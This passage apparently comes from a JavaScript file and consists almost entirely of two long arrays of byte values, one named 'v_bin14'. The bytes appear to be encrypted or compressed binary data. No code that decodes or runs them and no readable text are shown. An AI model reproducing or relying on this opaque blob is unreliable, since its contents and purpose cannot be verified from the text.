125,239,113,100,169,117,58,211,245,6,52,156,166,158,160,48,39,160,128,127,230,172,120,191,6,49,87,102,39,75,96,162,30,115,92,32,143,215,70,202,37,5,197,28,101,221,5,140,33,18,188,91,228,42,115,40,56,236,231,103,185,97,225,152,251,223,59,76,252,150,156,244,192,246,162,71,48,225,239,148,160,52,180,224,47,8,170,207,185,68,109,44,76,151,186,92,230,143,73,88,215,91,232,248,116,189,245,1,155,37,223,214,204,223,119,235,57,194,29,7,101,112,142,9,223,202,66,218,199,49,62,244,237,178,250,215,174,180,29,213,184,161,55,148,206,239,142,55,163,188,37,109,24,109,213,81,190,224,197,208,69,220,194,184,139,210,155,217,142,234,165,193,160,19,146,177,15,192,101,148,108,103,111,119,228,112,66,227,147,234,77,168,168,211,139,74,160,225,228,139,240,19,109,2,254,119,82,217,164,129,12,12,159,254,162,93,146,60,95,74,114,170,91,164,28,7,79,151,90,234,87,126,113,109,137,151,18,208,16,125,221,224,77,138,12,77,85,31,160,192,7,217,209,42,122,75,59,100,109,194,159,30,92,193,190,134,18,160,86,36,175,238,220,73,165,189,42,179,87,26,96,118,103,246,101,9,32,94,20,250,154,8,102,95,183,221,248,215,2,4,228,31,52,3,60,78,150,240,53,108,190,132,142,189,1,60,46,183,165,67,29,89,208,40,117,135,206,10,186,161,62,90,45,196,113,225,190,10,166,111,84,108,137,154,197,162,233,179,60,112,205,1,182,148,154,236,58,187,232,57,103,84,191,219,184,177,146,34,92,157,65,137,129,83,168,24,213,82,41,131,93,53,199,32,252,7,54,255,215,145,20,249,17,36,51,106,212,102,225,47,17,108,254,128,27,102,167,214,25,57,83,191,130,85,155,133,5,78,127,4,84,46,146,91,226,21,124,204,192,47,139,153,70,219,17,194,143,247,120,200,43,21,34,214,92,181,235,116,196,198,2,245,15,40,212,40,47,70,151,191,31,5,189,140,116,30,15,37,66,153,166,136,138,26,9,1,152,17,153,117,204,14,49,154,212,229,203,69,197,158,237,6,89,77,95,59,130,192,165,208,211,54,248,235,160,20,110,9,110,156,82,194,227,203,176,59,216,11,56,234,175,191,165,45,187,143,159,56,216,75,112,118,74,76,157,151,49,112,67,84,121,82,122,160,57,118,139,117,21,163,7,6,96,198,157,196,189,190,82,254,115,11,82,241,225,13,97,193,130,248,33,93,31,161,69,32,191,104,212,60,225,55,162,231,126,12,36,177,183,10,218,250,24,153,133,242,157,255,201,35,153,233,207,151,29,235,144,37,148,254,44,24,249,81,177,44,179,125,83,41,106,222,13,102,118,77,14,7,246,234,196,164,193,187,52,44,3,96,161,7,169,180,8,95,12,126,149,223,59,109,102,81,44,107,117,112,251,252,63,142,182,144,27,247,115,206,206,240,69,56,167,49,171,226,38,52,84,205,138,171,108,170,235,81,205,83,127,100,162,70,151,172,251,149,135,100,64,152,249,91,54,216,220,215,44,14,156,7,141,38,179,107,167,96,201,31,22,151,223,183,185,187,27,124,22,98,112,58,28,152,190,168,214,204,2,41,241,11,28,23,154,225,204,107,88,180,245,42,76,31,4,171,186,23,179,247,170,253,159,0,48,247,171,102,227,250,178,88,223,40,199,246,240,191,223,106,234,208,254,191,91,141,46,89,135,145,83,60,147,3,199,109,183,122,54,196,175,173,21,106,142,185,230,60,183,38,203,64,21,73,24,16,139,36,25,125,81,238,32,108,149,180,12,14,53,94,0,102,122,240,229,146,131,127,225,140,165,83,57,198,67,120,239,142,123,248,134,108,215,233,68,77,50,31,26,94,233,168,44,20,103,108,98,154,201,43,44,227,107,163,237,118,69,135,225,190,174,162,145,218,204,18,229,168,195,150,101,185,131,77,208,123,31,219,243,127,133,152,27,192,134,236,13,229,216,76,95,163,64,235,10,110,56,174,211,194,82,20,98,50,75,119,208,230,69,178,202,84,52,8,141,46,147,53,138,75,2,244,172,104,190,19,173,185,77,8,122,135,145,53,131,92,180,250,11,71,29,111,210,193,80,29,2,123,99,58,41,84,105,5,60,141,100,117,154,179,93,173,249,197,193,7,60,14,188,27,242,123,197,136,206,29,5,98,215,18,251,26,9,225,180,222,234,207,86,76,235,115,188,213,80,14,176,0,37,36,83,54,206,54,38,90,41,88,66,40,25,184,75,33,233,234,221,37,3,115,139,57,92,176,162,237,158,218,18,181,16,255,96,236,194,23,111,75,67,223,89,139,205,208,147,6,8,88,191,114,33,192,48,237,16,13,143,68,190,109,146,141,101,100,180,119,142,79,220,178,98,104,103,43,38,134,218,98,98,142,80,167,137,139,211,73,179,65,58,91,254,146,152,118,124,88,126,243,124,234,187,24,53,181,100,212,169,176,34,136,11,66,39,176,252,59,213,11,62,104,98,210,163,174,32,135,90,52,177,113,191,58,108,21,53,205,7,92,118,82,199,75,31,238,43,169,222,202,191,120,59,135,201,111,214,34,130,183,25,38,49,238,32,27,220,61,153,140,198,42,172,145,72,240,190,57,36,18,202,93,153,23,103,196,231,240,117,74,10,77,148,170,154,89,178,168,145,254,9,55,150,128,108,234,108,85,223,131,8,205,50,87,163,75,194,46,114,146,237,216,125,168,216,174,59,163,213,195,76,23,244,27,73,109,194,235,247,58,141,117,195,140,71,240,247,160,136,57,225,38,184,8,65,36,55,2,224,144,223,20,72,231,165,181,247,185,52,168,233,62,118,46,1,60,53,210,60,226,34,111,56,187,76,90,13,212,10,24,205,53,68,171,73,162,247,218,202,113,13,180,151,91,101,92,18,135,80,39,163,13,247,29,148,191,243,194,169,225,215,147,153,13,249,215,192,127,66,160,89,135,43,51,255,92,18,221,199,185,206,216,229,193,31,105,171,163,83,225,129,138,100,245,108,114,210,224,255,56,211,245,22,143,29,121,107,231,124,45,82,111,232,187,219,23,214,81,47,9,186,244,181,236,234,173,10,72,58,152,245,252,127,133,142,176,11,100,120,4,199,68,155,75,114,248,6,245,32,245,117,13,226,227,211,7,28,64,10,69,240,199,69,84,118,242,70,173,49,137,77,128,3,127,34,89,148,29,12,55,229,23,37,253,173,237,95,37,109,206,182,96,75,39,52,237,39,12,228,23,85,181,215,168,79,218,104,13,170,241,69,20,46,45,113,96,197,106,92,191,219,20,115,55,41,181,72,185,25,124,248,245,208,134,186,7,80,93,135,174,216,113,0,239,78,31,54,232,62,177,38,30,220,29,37,18,251,169,10,8,81,243,152,96,74,87,221,227,205,115,123,47,177,65,125,236,90,70,44,240,81,97,43,61,12,15,197,47,172,187,164,190,135,167,160,199,93,112,157,55,141,83,76,70,104,100,143,75,163,126,82,105,140,20,21,124,179,48,198,160,157,117,14,8,231,161,158,19,51,144,20,244,99,212,59,138,206,23,223,238,226,146,88,100,8,67,193,167,61,170,247,27,171,25,98,143,57,150,112,135,92,112,137,241,191,110,171,118,80,60,105,211,34,32,215,195,100,118,198,248,1,84,195,176,24,125,20,208,216,114,33,29,2,189,245,104,175,147,198,148,76,194,103,200,90,133,45,187,107,248,89,114,115,189,69,9,122,21,30,17,63,213,38,180,199,105,211,29,194,191,181,52,2,21,19,10,28,230,236,92,19,11,108,39,137,110,29,89,162,152,38,211,236,164,111,79,1,83,222,188,165,81,226,3,231,9,161,130,84,46,102,61,118,49,6,62,89,196,213,65,84,177,96,125,255,243,189,13,37,33,218,138,73,71,197,180,42,86,163,161,221,206,171,235,83,241,164,127,91,162,237,111,23,57,107,19,164,103,147,52,54,197,206,73,153,147,201,168,112,74,93,106,212,87,181,79,250,137,59,48,129,222,174,171,107,199,83,133,245,126,182,115,136,156,46,230,136,72,190,243,91,198,58,152,216,48,193,244,131,233,53,124,44,83,227,7,57,201,124,113,9,195,22,110,79,247,142,6,115,139,43,90,178,76,13,225,95,46,117,95,41,255,15,197,190,199,72,242,135,119,14,125,12,81,64,133,178,65,168,65,219,88,100,158,175,197,21,63,207,252,243,77,120,231,106,191,213,32,19,166,53,17,207,252,207,14,200,9,13,249,60,149,19,179,158,205,207,216,159,64,13,26,179,106,95,132,10,233,232,58,83,95,158,146,216,145,133,151,70,115,165,211,69,214,118,253,219,78,251,84,166,135,119,122,131,159,64,0,160,8,97,16,245,194,100,124,71,31,175,169,20,46,13,169,13,129,88,202,141,128,21,173,96,134,125,240,128,76,252,165,48,45,70,74,178,101,88,201,207,78,250,60,203,149,221,212,135,219,89,77,183,31,214,168,216,172,250,142,246,178,29,181,178,159,206,125,10,24,187,47,52,137,17,82,35,112,149,222,114,10,64,181,177,96,54,184,94,36,219,11,0,8,210,249,251,163,56,127,145,237,170,173,206,230,129,215,93,142,100,86,171,52,142,20,205,105,22,5,207,238,179,228,134,84,242,120,141,248,151,199,234,32,115,9,34,96,158,50,58,182,109,121,165,214,155,94,225,172,38,209,201,68,225,11,99,214,5,88,54,131,137,248,84,128,166,166,205,36,151,64,143,209,70,223,153,59,97,141,147,60,11,151,129,198,233,38,116,100,27,224,37,237,244,177,185,248,111,232,56,244,253,89,110,232,162,3,223,103,164,21,98,190,248,87,71,73,79,39,28,87,39,45,18,159,252,56,158,35,249,207,207,42,204,141,208,150,221,240,203,9,96,123,23,141,48,237,181,80,151,145,204,43,114,220,91,54,253,149,34,219,74,237,134,195,250,230,207,150,46,169,98,39,155,31,119,80,29,30,224,149,183,203,239,62,113,163,152,77,46,159,69,129,172,6,193,168,234,240,158,48,44,208,126,195,140,202,91,193,115,147,104,103,158,180,136,132,108,79,243,116,111,102,98,226,227,244,101,250,185,42,175,56,234,81,127,29,94,113,187,181,103,174,248,57,81,234,245,176,79,133,43,99,133,126,125,138,223,226,119,115,109,96,173,87,34,44,191,190,171,87,41,180,37,57,70,26,105,167,112,184,41,182,168,207,197,207,111,79,250,142,11,150,69,221,68,200,186,165,169,146,206,206,37,91,203,204,69,70,130,87,222,121,240,122,223,21,100,74,47,115,16,233,204,235,19,48,180,211,44,32,5,251,130,240,210,14,200,193,121,151,77,200,113,7,165,203,97,84,229,194,2,110,205,83,145,87,96,93,74,202,198,129,120,54,140,31,175,147,209,58,72,116,242,53,216,95,120,111,186,128,213,183,66,174,91,102,85,181,90,193,173,78,38,96,69,65,117,103,10,83,7,45,191,251,91,141,13,10,91,19,205,158,136,82,194,176,6,39,10,239,121,243,161,130,158,137,37,173,62,139,156,145,17,161,131,156,168,128,86,212,156,182,59,55,203,153,139,36,203,247,174,15,114,70,157,132,88,84,223,138,22,191,155,173,133,178,27,212,89,74,66,180,240,246,79,32,252,175,237,124,12,123,63,158,136,43,158,180,71,115,94,168,56,110,154,148,39,83,157,45,183,34,94,65,38,166,59,249,95,196,149,73,0,64,199,46,34,148,245,173,63,50,106,77,115,168,172,34,203,17,49,233,149,34,123,142,104,45,136,155,151,123,187,225,156,143,195,125,113,23,88,159,209,203,12,33,45,38,251,253,63,10,184,30,224,231,97,167,68,128,148,126,71,35,58,22,137,113,119,69,82,14,54,71,25,169,91,70,139,57,44,32,81,23,231,157,161,101,101,127,114,132,63,138,56,182,112,143,228,64,227,104,116,118,252,237,53,195,49,193,87,58,25,172,175,55,50,188,140,37,141,48,135,42,208,6,172,74,162,251,120,175,127,56,208,143,209,239,162,210,36,177,21,220,72,101,186,108,193,134,147,40,246,132,96,28,211,188,23,9,17,194,229,232,137,128,138,98,106,134,8,79,21,94,244,200,202,38,224,14,175,146,95,253,116,132,185,196,242,3,134,144,27,47,58,110,154,232,4,165,205,90,117,193,62,181,195,115,206,55,12,124,110,210,170,108,36,142,219,182,23,165,70,107,136,45,215,181,9,202,34,2,229,32,59,146,242,5,145,61,12,234,98,204,217,61,204,122,224,132,224,254,122,143,127,253,57,154,209,176,89,99,147,207,199,241,122,125,232,253,179,241,16,157,241,82,25,5,152,2,148,114,219,73,124,241,177,226,13,236,176,235,114,64,230,205,34,123,122,22,13,93,205,249,162,212,159,7,49,128,209,104,203,107,162,83,132,171,213,254,9,44,182,24,231,195,212,236,252,38,148,161,86,168,0,173,228,191,53,121,44,33,193,31,171,198,202,6,96,92,91,33,31,42,174,142,63,235,183,238,26,23,55,104,157,29,144,225,190,185,255,191,200,230,206,35,72,237,214,135,52,200,88,7,6,243,54,255,46,36,116,219,237,33,57,75,86,82,145,77,191,83,175,20,209,139,163,238,224,146,221,155,163,150,225,67,130,22,219,38,221,104,80,170,211,8,207,136,204,212,221,122,40,9,242,41,192,19,135,94,191,2,205,255,106,75,189,55,61,120,188,65,120,4,43,132,190,115,96,108,119,51,10,149,47,61,131,146,230,35,87,204,139,198,16,99,71,46,3,216,245,33,1,143,75,20,244,83,231,53,171,3,99,206,104,183,47,225,137,149,64,238,127,145,31,202,191,170,88,64,156,123,141,233,168,209,72,224,23,83,228,182,15,20,128,144,92,136,200,44,152,173,14,54,19,45,105,43,71,252,55,51,120,246,222,186,124,6,78,50,175,234,180,29,246,40,30,197,167,77,235,93,150,49,73,168,180,22,88,83,101,247,73,195,27,237,226,117,123,242,84,74,132,213,82,214,87,38,231,7,187,45,144,195,139,86,78,97,10,181,158,108,114,132,151,124,215,79,58,243,0,155,29,89,172,57,63,152,8,26,115,124,20,70,213,15,177,71,250,5,230,162,102,108,38,23,83,114,91,43,121,30,226,114,12,25,78,138,237,13,60,19,228,174,87,81,132,213,164,150,68,118,65,93,255,171,221,130,134,249,118,153,50,92,30,173,182,247,162,84,163,100,126,146,14,41,202,189,166,229,157,219,136,193,118,234,47,144,236,40,235,241,60,152,229,150,132,48,98,113,140,82,199,66,67,173,54,161,223,118,52,218,94,214,157,51,144,225,180,142,194,169,32,233,16,185,63,29,139,46,154,127,209,148,42,49,173,73,239,66,146,6,20,87,191,234,93,89,156,57,141,65,3,92,10,240,152,254,209,148,142,151,142,29,206,97,229,245,224,206,154,74,129,247,48,243,219,188,20,39,10,59,225,218,210,84,30,79,82,242,49,146,70,86,204,97,24,244,4,16,43,50,129,99,126,154,229,150,72,47,98,220,237,136,123,126,156,19,83,161,239,125,136,55,244,204,181,227,130,19,235,114,109,146,170,25,205,84,83,236,200,6,16,152,46,64,40,137,110,57,201,89,190,49,179,72,38,108,51,242,88,28,227,220,50,54,165,152,14,92,249,17,98,27,180,99,141,246,167,47,24,192,147,201,155,114,5,84,45,154,0];
var v_bin14 = [229,47,173,183,137,203,195,195,207,66,65,135,20,126,223,245,126,227,130,201,255,78,37,14,196,194,181,110,130,173,216,145,92,157,88,100,220,240,42,110,119,76,177,4,125,72,169,148,172,188,87,9,172,168,135,126,223,107,230,42,196,12,123,247,137,23,178,174,198,44,47,210,245,138,66,174,156,78,152,91,112,67,86,75,251,161,186,186,196,159,217,28,41,71,87,159,116,204,239,189,109,219,242,196,107,113,105,64,97,31,143,57,137,170,174,244,55,189,96,176,63,130,1,75,107,218,188,15,71,122,109,26,200,48,160,51,27,243,51,173,13,250,61,180,146,100,217,48,60,158,157,250,220,102,41,192,247,32,172,119,105,48,154,220,63,221,87,196,109,133,8,63,146,96,80,55,1,27,201,114,168,188,185,7,27,4,149,147,238,144,164,104,130,125,254,31,61,242,210,203,248,111,117,218,194,198,37,173,53,175,115,246,214,117,174,60,75,58,140,71,31,208,246,249,200,211,183,15,7,133,156,111,147,249,254,238,46,202,100,239,77,121,121,20,94,112,196,40,236,201,17,252,192,243,125,209,6,87,155,7,101,134,197,176,41,221,12,252,87,42,171,67,160,25,31,15,186,205,194,218,229,168,189,24,141,84,71,118,25,63,205,4,141,219,12,22,62,133,100,218,198,237,115,89,193,86,194,21,115,49,56,143,184,109,154,32,233,7,73,82,34,78,97,219,84,39,174,78,103,25,239,110,167,250,126,227,138,193,62,242,4,123,236,70,239,125,237,36,194,31,17,208,65,199,234,83,65,158,27,13,132,98,152,239,85,190,9,57,159,12,146,241,184,255,21,34,84,13,0,130,106,235,206,173,54,159,38,195,209,205,179,61,222,223,122,25,147,250,75,247,226,79,130,18,233,117,148,11,165,28,227,19,38,192,115,24,173,0,55,128,81,171,245,165,52,69,125,188,19,214,121,171,37,221,93,194,254,144,164,7,172,245,234,217,5,129,58,118,116,228,178,244,9,217,202,208,33,141,120,42,90,176,19,119,172,240,33,139,87,200,208,244,217,15,167,162,59,140,226,187,110,183,163,123,186,220,173,242,79,121,97,200,235,85,23,152,87,5,239,155,82,19,191,121,156,67,20,60,244,43,166,102,204,240,116,5,36,149,0,59,142,52,186,104,0,180,244,207,151,241,163,225,193,143,61,2,154,112,182,33,150,56,11,92,57,200,145,101,184,120,222,210,76,115,93,113,183,99,123,126,127,131,63,138,37,25,16,225,196,190,199,218,215,197,132,80,201,242,125,139,141,214,20,156,215,164,190,194,4,27,162,127,64,64,173,2,79,173,48,248,32,199,90,63,59,107,229,240,180,152,57,42,212,151,239,93,76,218,116,151,208,30,69,177,218,214,71,175,76,74,139,31,44,38,23,118,75,83,219,167,139,200,119,92,132,16,111,18,241,210,86,137,51,6,144,159,233,115,182,186,242,127,251,76,60,77,127,164,233,160,195,79,221,160,209,111,236,170,149,217,68,99,211,12,40,57,229,24,113,55,143,211,169,243,23,76,55,45,67,153,237,50,243,73,81,188,81,184,15,116,243,247,3,32,208,245,145,189,4,238,172,48,172,4,87,216,203,77,141,193,239,122,9,96,221,212,29,237,183,151,52,188,210,154,199,98,45,22,114,22,229,139,242,246,122,127,240,243,170,175,116,141,124,247,131,179,140,111,167,149,97,203,117,170,104,232,237,67,183,147,234,12,98,226,132,39,117,119,164,106,82,140,110,56,136,196,214,150,227,223,154,42,153,48,232,79,41,23,192,143,67,39,234,235,100,233,208,41,223,238,46,174,185,132,154,164,177,144,27,83,170,187,163,128,116,14,63,22,203,112,233,207,92,13,41,221,8,81,105,160,106,185,154,230,181,172,17,107,120,195,165,169,144,151,241,135,150,77,128,214,198,75,237,235,6,80,240,118,25,126,111,83,101,83,76,229,170,73,133,236,225,174,203,189,233,244,33,168,107,237,172,163,219,62,154,52,154,110,73,17,161,91,163,169,96,45,104,182,201,72,84,128,61,118,46,146,191,141,4,254,46,89,224,134,196,183,190,188,157,128,106,155,113,166,25,61,214,32,46,16,153,197,160,129,175,193,205,228,210,214,69,247,87,115,85,69,128,125,8,92,244,248,187,235,141,81,214,250,3,237,25,224,147,88,222,12,13,205,178,109,66,247,194,192,54,165,15,55,221,101,93,189,213,134,224,169,98,189,90,82,218,197,11,197,189,217,204,108,104,106,248,46,56,244,128,37,239,224,100,228,231,150,70,57,208,162,243,207,191,240,20,129,236,209,204,104,227,229,187,93,82,249,123,187,72,1,138,22,141,129,240,252,225,142,165,125,154,109,193,163,16,110,101,232,21,93,11,73,130,4,195,196,200,90,223,161,199,110,5,185,213,233,107,114,8,190,169,198,57,21,79,42,176,46,182,12,38,46,23,74,64,249,150,17,252,164,115,131,136,37,239,107,61,93,247,173,86,76,91,143,0,67,252,120,150,40,137,146,188,32,225,189,254,149,4,13,195,114,123,88,207,204,210,1,68,12,20,180,228,87,185,163,46,117,172,191,59,232,114,117,119,130,190,110,117,203,2,6,11,34,229,243,20,57,207,33,44,78,94,101,57,94,50,92,57,91,39,105,205,61,29,133,108,242,161,36,99,11,229,65,169,95,239,192,51,173,178,143,228,29,170,172,145,239,150,98,24,253,148,231,86,195,32,60,110,169,19,154,220,54,92,108,93,164,133,186,40,194,165,196,68,84,103,10,38,172,250,82,173,28,12,179,66,87,31,100,35,160,1,219,151,227,93,2,56,135,217,14,149,60,66,108,28,227,122,220,70,189,92,42,52,43,99,58,173,235,42,138,4,119,55,0,215,14,126,233,122,194,173,128,245,153,199,167,23,143,7,40,164,222,42,209,100,133,84,128,197,215,38,209,158,189,250,167,70,179,38,148,27,197,175,230,240,3,98,77,14,243,52,190,169,36,245,152,61,116,146,4,54,5,112,240,79,106,243,9,138,211,102,202,236,18,10,28,214,197,252,107,255,24,97,1,175,15,199,133,223,208,26,141,78,201,36,11,159,88,58,94,10,227,134,163,94,237,251,79,168,28,206,243,217,167,41,1,243,175,163,12,136,203,101,110,209,213,222,100,159,213,171,149,30,61,13,46,53,110,77,221,14,183,78,21,210,126,8,243,248,114,202,15,52,201,195,116,29,160,83,235,77,81,79,208,120,161,90,172,121,136,20,191,234,18,39,252,247,225,242,14,53,85,34,11,97,80,111,112,116,115,44,116,143,200,235,86,196,215,47,40,183,66,235,207,33,134,188,190,161,159,8,228,155,199,132,201,141,14,24,228,102,101,20,39,207,168,130,117,179,130,115,140,104,179,60,213,129,110,130,122,142,83,128,59,133,125,115,83,73,72,218,6,21,147,218,253,204,198,243,60,202,128,14,88,90,204,4,234,23,15,249,18,68,169,5,167,90,124,190,51,11,140,25,128,21,49,228,10,40,42,0,124,164,165,8,222,195,201,33,37,127,69,197,151,176,52,215,206,231,148,54,233,94,246,36,35,220,236,109,18,212,48,204,31,241,181,163,62,77,54,205,116,19,27,122,93,80,90,77,246,123,251,87,203,100,248,117,221,115,46,62,237,189,75,155,165,116,238,21,143,170,191,9,15,85,102,238,229,221,171,217,91,155,130,201,61,167,207,138,17,206,63,151,160,162,42,227,187,246,23,99,94,254,54,127,80,127,153,238,21,103,5,144,248,131,229,38,246,165,93,97,84,98,189,187,249,215,239,181,204,186,174,25,70,207,81,12,137,184,167,30,37,137,111,157,142,146,48,43,39,136,149,238,102,59,253,74,217,200,89,146,98,178,231,251,172,105,248,154,188,151,186,138,199,98,60,39,52,181,143,92,152,169,58,237,49,201,19,91,193,105,55,26,102,186,186,220,243,77,30,150,165,77,14,125,141,151,239,241,173,91,70,61,64,65,61,72,169,64,185,233,56,153,253,175,247,84,33,218,237,29,136,37,168,253,145,197,94,251,133,90,136,16,162,191,197,201,185,145,28,140,106,34,10,179,175,223,176,151,76,32,219,97,23,0,150,130,186,227,171,60,8,48,123,87,6,132,25,25,21,135,56,236,133,244,45,42,73,190,223,195,37,176,146,13,60,36,14,54,241,131,165,242,130,143,154,111,132,120,64,89,120,123,172,149,187,169,46,36,178,74,116,169,163,252,181,127,83,225,88,169,185,138,123,162,232,229,170,34,55,37,112,65,177,80,44,232,164,229,136,229,142,33,152,26,157,30,111,88,35,207,130,121,28,81,116,97,228,65,88,214,162,111,171,109,92,203,187,231,130,126,13,49,146,116,122,177,34,244,138,215,233,53,243,67,74,128,152,221,33,135,185,219,50,172,228,252,144,160,135,36,48,221,26,174,240,225,80,190,215,115,118,6,82,74,121,99,83,208,200,167,5,178,243,218,53,222,192,254,243,32,193,153,144,9,27,12,161,208,68,155,225,187,104,244,143,196,249,197,102,128,120,112,72,213,216,13,80,61,108,190,107,238,9,249,22,235,205,121,2,254,228,191,232,137,222,25,174,103,36,246,251,249,94,247,234,186,41,253,217,174,69,45,138,64,1,13,101,35,217,194,95,241,251,66,167,119,164,214,223,198,177,50,14,34,228,110,5,213,170,223,101,212,147,175,132,17,59,172,205,52,69,233,234,132,144,102,131,230,126,46,36,108,57,84,85,241,206,219,247,231,97,35,249,13,42,250,188,82,42,12,61,237,142,183,70,46,233,131,208,69,114,88,118,41,243,255,118,92,32,177,93,5,237,64,89,47,158,113,165,232,10,5,54,164,91,126,195,23,47,51,125,88,251,169,209,24,216,200,175,26,83,189,230,222,84,77,49,114,137,15,59,127,120,105,108,65,207,157,74,196,78,22,175,0,6,24,155,93,234,216,175,24,209,234,146,29,26,206,115,247,80,232,28,207,154,194,144,44,50,54,206,226,123,127,48,137,199,237,195,244,201,111,159,166,114,114,239,190,44,132,48,53,30,128,66,1,196,182,96,241,183,92,177,158,250,251,116,60,109,254,187,164,15,32,0,237,58,82,2,167,32,220,5,98,52,121,48,50,7,247,55,127,153,171,199,200,163,20,125,180,35,120,109,214,32,3,175,250,234,158,73,91,68,136,200,111,250,114,181,101,27,146,187,206,121,97,211,2,126,16,97,141,67,249,117,121,122,182,220,108,203,198,140,150,234,94,141,39,115,59,138,155,59,35,233,135,126,52,72,162,34,50,253,146,147,148,66,18,106,233,107,28,250,171,236,174,168,132,242,5,57,229,112,237,233,174,17,128,128,24,193,73,59,63,79,60,201,167,27,122,128,222,171,126,235,164,134,191,106,249,34,21,212,139,75,142,141,250,194,34,211,101,95,110,32,189,84,102,193,166,54,176,233,195,248,171,128,40,5,226,20,169,194,167,4,142,3,207,20,183,50,18,26,183,191,32,176,226,33,84,59,212,194,139,86,139,88,221,66,224,34,32,95,2,67,99,127,48,85,205,132,34,40,190,200,172,138,138,58,67,94,89,115,38,244,118,104,73,89,155,163,133,92,75,20,117,172,116,46,219,109,226,182,169,119,148,93,45,248,232,179,161,57,18,199,3,78,70,2,237,216,166,163,122,220,156,67,114,245,78,239,152,247,223,121,151,16,152,201,11,56,49,28,221,245,254,35,151,196,232,233,77,173,189,138,197,18,18,141,121,58,153,126,90,214,126,136,255,13,66,46,210,9,182,191,247,215,89,135,58,212,134,203,53,105,26,80,118,104,208,251,210,98,176,115,214,31,127,39,245,59,214,216,86,77,46,214,82,167,68,56,199,124,244,41,249,97,213,247,204,222,201,122,23,20,247,245,239,69,209,82,156,79,50,59,151,51,236,206,63,138,218,58,108,196,56,62,228,189,122,24,35,155,57,40,65,103,8,15,37,205,197,250,247,221,53,66,97,136,111,223,74,190,184,157,140,132,236,255,78,129,108,161,173,252,175,151,106,187,241,53,86,173,183,227,231,181,160,54,151,124,195,185,225,179,247,125,88,204,228,79,245,142,183,64,245,96,31,219,125,49,44,72,14,203,73,96,167,20,164,217,222,139,128,201,20,53,92,212,103,66,140,220,71,107,166,203,176,144,150,68,73,20,1,51,251,61,62,65,106,132,182,96,99,127,109,159,154,233,143,146,10,68,2,211,151,195,208,186,210,189,236,125,153,108,94,201,183,39,255,84,3,214,123,160,126,199,74,160,158,89,60,151,214,176,28,185,199,1,127,86,84,152,186,88,250,110,85,11,69,36,14,207,177,36,234,176,142,128,204,2,135,19,8,70,93,72,203,222,156,140,179,215,157,136,37,101,37,94,223,10,217,227,203,16,132,11,62,38,163,174,145,162,99,252,116,110,27,245,9,150,125,46,13,197,175,180,213,98,86,91,81,30,105,15,221,85,101,48,107,236,101,19,153,49,51,253,107,27,190,140,95,174,69,151,92,10,41,0,135,50,77,101,175,174,107,83,105,79,182,156,89,103,184,199,9,240,181,43,128,77,36,29,23,132,153,13,149,109,252,82,19,242,154,243,239,38,212,65,154,80,139,139,25,136,129,190,131,150,171,137,146,107,170,215,81,101,92,211,183,68,59,92,137,112,66,86,89,36,231,36,113,236,124,118,65,72,143,243,113,157,209,76,32,235,91,188,215,220,159,194,126,228,247,122,151,94,194,101,213,10,10,108,180,59,48,81,54,190,211,145,165,9,66,252,114,60,73,80,175,37,42,64,233,166,216,204,104,186,124,178,228,193,186,66,142,47,183,230,6,166,14,45,11,243,137,233,12,208,229,160,231,199,12,143,70,137,158,193,68,170,7,244,51,44,18,3,207,24,124,198,136,147,34,94,99,213,23,24,39,105,235,91,55,243,4,230,188,184,4,3,82,241,81,50,5,86,162,180,127,174,233,222,169,58,12,143,9,224,59,242,180,137,80,104,93,224,11,50,22,191,27,87,174,218,131,190,127,116,205,211,203,177,217,58,121,120,50,89,155,158,254,60,171,242,73,127,26,228,25,190,157,228,6,103,222,47,2,32,42,248,157,156,116,20,243,204,255,166,180,142,251,3,56,245,173,75,244,68,84,228,5,139,139,116,64,230,48,116,30,230,127,47,228,243,16,175,169,8,49,54,156,225,83,130,213,178,131,93,127,187,6,98,65,225,105,248,176,73,116,7,178,228,102,218,65,217,53,235,4,53,10,199,155,127,157,148,29,41,107,235,143,158,170,162,90,205,213,119,246,166,218,218,20,141,58,186,42,55,73,25,200,130,4,63,64,29,237,188,75,39,92,124,70,65,14,61,1,60,14,20,141,72,19,65,113,10,40,17,215,72,152,229,79,136,238,141,222,199,9,29,31,176,11,203,205,248,141,125,157,1,223,150,248,193,231,158,174,200,125,139,74,107,146,162,56,111,23,127,182,71,244,222,104,149,170,66,229,196,40,92,164,41,151,152,102,233,168,49,118,162,192,55,147,182,255,125,109,135,36,236,73,52,224,156,108,167,95,62,70,242,82,3,210,117,68,13,214,229,198,121,254,253,53,84,156,130,107,0,232,107,176,230,10,172,76,30,188,203,90,107,143,80,242,37,115,221,35,231,112,156,153,173,223,210,208,248,254,107,232,27,70,47,65,209,100,123,23,219,116,229,19,15,79,246,161,248,92,225,51,198,74,243,239,106,147,236,178,38,225,167,185,117,113,43,23,160,45,181,17,162,19,29,22,7,177,102,119,66,221,235,19,169,207,231,245,183,64,63,172,82,60,125,120,91,186,223,217,18,91,51,156,29,85,66,160,156,70,97,119,211,197,87,5,98,116,119,166,206,212,117,197,49,23,93,102,39,218,233,85,151,181,36,172,143,68,183,115,199,193,65,67,199,207,136,137,141,193,97,181,202,75,159,206,115,104,131,136,148,223,24,153,74,98,120,124,42,212,170,61,206,153,206,170,10,186,222,249,109,55,125,139,15,46,47,237,121,144,121,33,57,193,158,185,106,79,100,160,255,106,31,241,40,134,185,0,179,249,57,52,182,143,170,66,249,87,86,60,200,117,46,109,229,120,96,143,16,147,0,220,164,0,199,46,91,23,185,127,114,16,221,212,19,138,249,97,161,67,116,7,166,252,7,86,199,208,47,235,56,61,114,195,59,195,105,238,250,189,203,7,246,128,250,251,1,147,85,212,122,227,11,48,204,235,13,10,248,145,211,215,16,151,227,236,244,197,159,167,74,95,159,93,196,93,247,213,220,159,153,186,203,202,73,155,80,108,179,152,146,191,223,210,218,68,154,156,78,13,175,145,175,249,194,19,70,84,122,126,225,34,107,87,249,163,0,165,160,140,74,248,184,251,15,123,225,158,34,211,244,189,148,142,129,66,3,190,111,45,202,86,167,250,156,1,252,30,41,92,12,60,172,238,110,239,114,56,102,157,27,106,158,186,14,186,43,207,216,34,195,204,243,198,178,15,162,49,245,146,129,132,190,153,165,251,8,55,178,57,150,121,194,45,219,30,53,114,105,7,188,118,196,192,141,192,222,251,117,216,13,178,244,254,118,211,72,186,156,157,147,135,109,16,230,35,47,190,232,146,21,81,250,63,168,152,82,12,120,214,83,212,159,195,194,27,98,243,71,193,146,146,210,6,139,73,156,74,8,208,198,123,252,94,105,101,152,74,51,255,109,159,127,40,175,166,50,7,231,203,21,110,94,87,89,52,221,222,99,162,67,113,220,64,169,16,169,191,210,120,147,154,61,217,22,147,11,186,127,66,18,246,160,123,31,36,81,143,208,154,50,175,66,122,67,124,112,0,30,219,83,15,234,238,170,162,180,166,27,83,176,167,194,